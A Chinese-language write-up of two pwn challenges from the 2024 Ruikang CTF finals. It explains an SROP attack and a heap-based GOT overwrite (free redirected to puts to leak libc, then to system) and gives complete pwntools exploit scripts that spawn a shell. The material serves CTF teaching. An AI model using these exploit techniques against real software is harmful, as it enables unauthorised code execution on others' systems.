2024睿抗决赛pwn题解
字数 1295 2025-08-22 12:22:42
睿抗决赛PWN题解教学文档
题目1:SROP利用
题目分析
这是一个使用SROP (Sigreturn Oriented Programming)技术解决的题目。题目提供了以下关键信息:
- 第一次read可以把"/bin/sh"写在栈上
- 利用write函数计算"/bin/sh"的地址
- 需要构造SROP攻击
关键知识点
- SROP原理:利用sigreturn系统调用恢复寄存器状态的特性,通过伪造signal frame来控制程序执行流。
- 系统调用号:execve的系统调用号为59 (0x3b)。
- 关键gadget:需要找到
mov rax, 0xf和syscall; ret的gadget。
解题步骤
-
初始布局:
- 发送"/bin/sh\x00"字符串到栈上
- 填充到0x10字节
- 覆盖返回地址为main函数地址(0x4004F1)以再次触发漏洞
-
泄露栈地址:
- 程序会通过write函数输出栈上的内容
- 接收并解析出栈地址,计算"/bin/sh"的实际地址
-
构造SROP攻击:
- 使用
mov rax, 0xfgadget设置rax为sigreturn系统调用号(15) - 调用syscall执行sigreturn
- 伪造signal frame设置寄存器:
- rax = 59 (execve)
- rip = syscall地址
- rdi = "/bin/sh"地址
- rsi = 0
- rdx = 0
- 使用
完整利用代码
from pwn import *
context(log_level='debug', arch='amd64')
p = process('./1')
elf = ELF('./1')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
mov_rax_0xf = 0x4004DA
main = 0x4004F1
syscall_ret = 0x400517
# 第一次输入:写入/bin/sh并返回到main
payload = b'/bin/sh\x00'.ljust(0x10, b'\x00') + p64(main)
p.send(payload)
# 接收泄露的栈地址
p.recv(32)
stack = u64(p.recv(6).ljust(8, b'\x00'))
binsh = stack - 0x118
# 构造SROP frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rip = syscall_ret
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
# 发送攻击payload
payload = b'a'*0x10 + p64(mov_rax_0xf) + p64(syscall_ret) + bytes(frame)
p.sendline(payload)
p.interactive()
题目2:堆利用与GOT覆写
题目分析
这是一个菜单堆题目,关键限制和漏洞:
- 只能申请0x36大小的堆块
- edit函数存在漏洞,可以用于攻击
- 攻击思路:修改GOT表,先修改free为puts泄露libc地址,再修改free为system
关键知识点
- GOT表攻击:通过修改GOT表中的函数指针来控制程序执行流。
- 堆布局:需要合理布局堆结构以实现利用。
- 泄露libc:通过将free改为puts来泄露libc函数地址。
解题步骤
-
堆布局:
- 申请多个堆块
- 释放一个堆块进入fastbin
-
修改GOT表:
- 利用edit漏洞修改free的GOT表项为puts的PLT地址
- 调用free(实际上是puts)来泄露libc地址
- 计算libc基址
-
获取system地址:
- 根据泄露的地址计算system和"/bin/sh"的地址
-
最终利用:
- 再次修改free的GOT表项为system地址
- 在堆上写入"/bin/sh"
- 调用free(实际上是system)获取shell
完整利用代码
from pwn import *
context(log_level='debug', arch='amd64')
p = process('./2')
elf = ELF('./2')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
def add():
p.sendlineafter(b'your choice :', b'1')
def edit(content1, content2):
p.sendlineafter(b'your choice :', b'2')
p.sendafter(b'name:', content1)
p.sendafter(b'data:', content2)
def free():
p.sendlineafter(b'your choice :', b'3')
def show():
p.sendlineafter(b'your choice :', b'4')
# 堆布局
for i in range(0x3e):
show()
add()
add()
free()
# 修改GOT表
edit(p64(0x6010a0), p64(0))
add()
add()
edit(p64(0x601010), p64(elf.plt['puts'])) # 修改free为puts
# 泄露libc地址
free()
libc_base = u64(p.recvline().strip().ljust(8, b'\x00')) - 4071184
# 获取system地址
system = libc_base + libc.sym['system']
# 最终利用
edit(b'/bin/sh\x00', p64(system))
free() # 实际上是system("/bin/sh")
p.interactive()
总结
-
SROP利用要点:
- 需要控制rax寄存器为0xf
- 需要找到syscall; ret gadget
- 需要精确计算栈上关键数据的地址
- 需要构造完整的signal frame
-
GOT表攻击要点:
- 需要知道GOT表地址
- 需要能够修改GOT表内容
- 需要合理布局堆结构
- 需要准确计算libc基址
-
通用技巧:
- 使用pwntools的SigreturnFrame简化SROP构造
- 使用u64和p64处理地址转换
- 使用recvuntil等函数精确控制交互流程
- 合理使用gdb调试确认内存状态